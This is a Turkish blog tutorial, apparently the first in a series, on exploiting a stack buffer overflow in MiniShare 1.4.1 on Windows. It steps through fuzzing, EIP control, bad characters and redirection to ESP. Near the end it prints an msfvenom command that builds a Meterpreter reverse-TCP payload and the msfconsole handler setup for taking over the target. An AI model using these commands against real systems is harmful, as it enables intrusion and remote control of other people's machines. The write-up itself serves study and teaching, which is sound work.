Stack Tabanlı Buffer Overflow Zafiyetleri-Uygulama-1

Windows — MiniShare1.4.1 Uygulaması

Bu yazı serisinde sizlere stack tabanlı buffer overflow zafiyetlerinden bahsediyor olacağım. Aynı zamanda zafiyetin neden kaynaklandığını, nasıl exploit edileceğini ve karşılaşılan yöntemlerin nasıl bypass edileceğinden bahsetmeye çalışacağım. Tüm bunlarla beraber de bazı örnek uygulamalar gerçekleştireceğim. (windows ve linux serisi olarak devam edecektir.)

Stack tabanlı bellek taşması zafiyetleri üzerine çalışırken izlememiz gereken adımlar aşağıda tanımlandığı gibidir. Şimdi Örnek Uygulamamız üzerinde bu adımların hepsini inceliyor olacağız.

  • Fuzzing
  • Crash Replication
  • Controlling EIP
  • Locating Space for Your Shellcode
  • Bad Characters
  • Redirecting Executing
  • Shellcode Payload and Exploit

Fuzzing

Bu adım uygulamanın sahip olduğu fonksiyonlardan ya da aldığı parametrelerden hangisinde taşma olduğunu bulmak amacı ile düzenlenir. Fuzzing için çok farklı araçlar ve yöntemler bulunmaktadır. Bu konuyu farklı bir yazıda derinlemesine ele alacağız.

Bizim inceleyeceğimiz uygulamanın üzerinde daha önce tespit edilmiş bir bellek taşması zafiyeti vardır. Bizde bunun üzerinden ilerleyeceğiz. Ancak gelin biraz uygulamayı inceleyelim ve nasıl çalıştığını anlamaya çalışalım.

  • Uygulamanın adı: MiniShare
  • Versiyon bilgisi: 1.4.1

Uygulamanın amacı adından da anlaşılacağı üzere mini bir server görevi görmektir. Yani elinizde bir dosya var ve aynı ağ üzerinde ki arkadaşlarınızla paylaşmak istiyorsanız bu uygulamayı kullanabiliyorsunu. Kullanımı çok basit. Yapmanız gereken şey uygulamayı açıp paylaşmak istediğiniz dosyayı üzerine sürüklemektir.

Şimdi gelin dosya içeriğine telnet aracılığı ile komut satırından erişmeye çalışalım.

Burdan anladığımız üzere, dosya ismini alıp arkada bir işleme sokuyor. Gelin bizde bu dosya ismi yerine farklı bir değer girerek uygulamayı bellek taşmasına zorlayalım.

Crash Replication

Bir önceki adımda da belirttiğimiz üzere uygılamanın dosya adı parametresine farklı uzunluklarda değerler gönderip overflow etmeye çalışacağız. Bu aşama için kullanacağımız kod parçası aşağıdaki gibidir.

Ancak kodu göndermeden önce Immunity Debugger aracını açıyoruz. Açtıktan sonra daha önce başlattığımız MiniServer uygulamamızı ekleyeceğiz. Bunun içinde File -> Attach yolunu izliyoruz menüden ve uygulamamızı seçiyoruz.

Uygulamayı ekledikten sonra Stop konumunda olacaktır. Uygulamnın bu durumunu da sağ alt köşede yer alan durum çubuğundan öğrenebilirsiniz. Bu nedenle F9 tuşu ile programı debugger da çalışır duruma getiriyoruz.

Daha sonra kodumuzu çalıştırdığımızda uygulamın stop ettiğini göreceğiz debugger da. Bu durum sonunda aşağıdaki gibi bir görüntü ile karşılaşacaksınız.

Gördüğünüz gibi EIP alanına ve ESP alanına yazmayı başardık. Bundan sonraki adım EIP değeri üzerine kaçında A değerinden sonra yazabildiğimizi bulmaktır. Gönderdiğimiz değerlerin hepsi aynı olduğu için bunu şu anda göremiyoruz. Bu nedenle bundan sonraki adımda kullanabileceğimiz iki farklı yöntem var.

  • Sending a Unique String (Bu işlem için metasploit freamwork altında bulunan pattern_create.rb aracını kullanacağız.)
  • Binary Tree Analysis (Bu yönte ilk gönderdiğimiz değeri parçalara bölerek uygulayabileceğimiz bir yöntemdir. Yani ilk gönderdiğimiz değer 2000 tane A idi. Bundan sonra 1000 tane A 1000 tane B sonra 500 tane B 500 tane C sonra 250 tane C 250 tane D gibi sürekli gidecek bir yöntemdir. Bu biraz uzun sürebilir. Bu nedenle biz ilk yöntemi kullanacağız.

Sending a Unique String

Şimdi bu değerleri yazdığımız araçta buffer alnında yer alan 2000 tane A değerinin yerine yazıyoruz.

Aracı çalıştırmadan önce daha önce yaptığımız gibi debugger aracına attach ediyoruz uygulamayı ve buffer değerini gönderiyoruz. Bu işlemden sonra EIP üzerine bir random değer yazılıyor.

Şimdi mona.py ile debugger üzerinden bunun kaçında karakterden sonra geldiğini buluyoruz.

Bu durumda bizim göndermemiz gereken değer 1787 tane A ve bundan sonraki göndereceğimiz değerler EIP üzerine yazılacak.

Controlling EIP

Şimdi gelin gerçekten EIP üzerine istediğimiz değerleri yazıp yazamayacağımızı görelim. Bunun için kodumuzu aşağıdaki gibi editleyip debugger aracına minishare aracımızı attach edelim.

Aracımızı çalıştırdığımızda sonuç:

Gördüğünüz gibi buraya istediğimiz bir değeri yazabildik. Şimdi ki amacımız stack alanında bizim zararlı kodumuz için ne kadar alan olduğunu bulmak.

Locating Space for Your Shellcode

Bu işlem için ilk olarak kodumuza aşağıdaki gibi bir ekleme yapıyoruz.

Şimdi aynı yöntem ile uygulamamızı debugger aracımıza attach edelim. Daha sonra kodumuzu çalıştıralım. “C” değelerimizin ESP alanına yazıldığınız görüyoruz. Şimdi aşağıdaki gibi sağ tuş yapıp resimdeki yolu takip edelim.

Bu işlemden sonra stack alanının başındaki değeri ve sonundaki değerleri kayıt ediyoruz. Daha sonra basit bir çıkarma işlemi yapıp, zararlı kodumuzu yazabileceğimiz alanımızın boyutunu hesaplıyoruz.

Görüyoruz ki, 2992 boyutunda bir alana sahibiz. Bu bizim için zaten çok fazla :) Rahatça zararlı kodumuzu bu alana yerleştirebiliriz.

Bad Characters

Bu aşamada amacımız uygulama içerisinde bellek taşmasına sebebp olan fonksiyonun izin vemrediği karakterleri tespit ederek yazacağımız shellcode içersinde ve EIP adresinde olmamasını sağlamaktır.

Bu işlem için Immunity debugger aracında kullanılan mona.py plugin aracını kullanabilirsiniz.

Bu değeleri badchars isimli bir değişkene atarak stack içerisine göndereceğiz. Kodumuzun düzenlenmiş hali:

Gönderdiğimizde stack alanındaki son durum:

Bu işlemden sonra anlıyoruz ki “\x00” değeri badchars. Şimdi bu değeri silip tekrar gönderiyoruz.

Bu değeri de kaldırıp tekrar gönderiyoruz ve bu süreç böyle devam ediyor. Son karakter olan “\xff” değerini görene kadar

Badchars = “\x00\x0d“

Redirecting Executing

Bu aşamada EIP değerine öyle bir adres yazmalıyız ki bizi direk ESP ye götürsün ESP de stack alanının en başını ifade ettiği için oraya yazdığımız kod çalışacak. Bir bakıma programın akışını değiştireceğiz. Aracımızı debugger içine attach ettikten sonra aşağıdaki yolu izliyoruz.

Ben burada aşamada aşağıdaki adresi seçtim ve EIP alanına yazdım.

Shellcode Payload and Exploit

Burada amaç msfvenum kullanarak bir payload üretmektir. Bunun için ben aşağıdaki payloadı ürettim.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4443 -f py -b “\x00\x0d”

  • -p : payload seçimi yapılır.
  • -f : çıktının türü istenir. (py: python için)
  • -b : bad karakterleri üreteceğimiz payload içine alma diyoruz.
  • LHOST : Kendi IP adresimiz
  • LPORT : Dinlediğimiz PORT numarası

Kodumuzun son hali:

Aracı çalıştırmadan önce

  • service postgresql start
  • msfconsole -q
  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set LPORT : shellcode üretirken yazdığımız port
  • set LHOST : shellcode üretirken yazdığımız ip
  • exploit

Bu işlemlerden sonra aracı çalıştırdığımızda sistemi ele geçirmiş oluyoruz :)

Show your support

Clapping shows how much you appreciated Besim ALTINOK’s story.